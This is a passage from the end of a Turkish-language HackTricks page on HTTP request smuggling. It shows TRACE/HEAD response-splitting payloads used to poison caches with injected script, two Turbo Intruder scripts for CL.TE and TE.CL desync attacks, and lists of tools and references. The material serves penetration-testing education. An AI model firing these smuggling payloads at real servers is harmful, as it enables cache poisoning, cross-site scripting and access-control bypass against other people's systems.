HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak işlenecek ve bu nedenle yanıt içinde rastgele verileri yansıtacaktır**. \
Bu yanıt, bağlantı üzerindeki bir sonraki isteğe gönderilecektir, bu nedenle bu, **örneğin rastgele JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir**.

### HTTP Yanıt Bölme ile TRACE Kötüye Kullanımı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**bu gönderiyi**](https://portswigger.net/research/trace-desync-attack) takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunu önermektedir. Yorumlandığı gibi, bir HEAD isteği ve bir TRACE isteği sızdırarak, HEAD isteğine yanıt olarak **yansıtılan bazı verileri kontrol etmek** mümkündür. HEAD isteğinin gövdesinin uzunluğu esasen Content-Length başlığında belirtilmiştir ve TRACE isteğine verilen yanıtla oluşmaktadır.

Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtında verilen verileri bilerek, TRACE yanıtının Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak, bir saldırganın bir sonraki yanıta (bu, bir önbellek zehirlemesi gerçekleştirmek için kullanılabilir) tamamen kontrol etmesine olanak tanımaktır.

Örnek:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Bu yanıtları üretecektir (HEAD yanıtının bir Content-Length'e sahip olduğunu ve TRACE yanıtının HEAD gövdesinin bir parçası olduğunu, HEAD Content-Length'i sona erdiğinde geçerli bir HTTP yanıtının sızdırıldığını not edin):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>
```
### HTTP İstek Kaçırmayı HTTP Yanıt Senkronizasyonu ile Silahlandırma

Bir HTTP İstek Kaçırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyorsunuz. Bu diğer istismar yöntemlerini deneyin:

{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}

### Diğer HTTP İstek Kaçırma Teknikleri

* Tarayıcı HTTP İstek Kaçırma (İstemci Tarafı)

{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}

* HTTP/2 Düşürmelerinde İstek Kaçırma

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}

## Turbo saldırgan betikleri

### CL.TE

From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)
```
### TE.CL

From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)
```
## Araçlar

* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, garip istek kaçırma tutarsızlıklarını bulmak için yararlı olan dil bilgisi tabanlı bir HTTP Fuzzer'dır.

## Referanslar

* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)

{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricks'i Destekleyin</summary>

* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.

</details>
{% endhint %}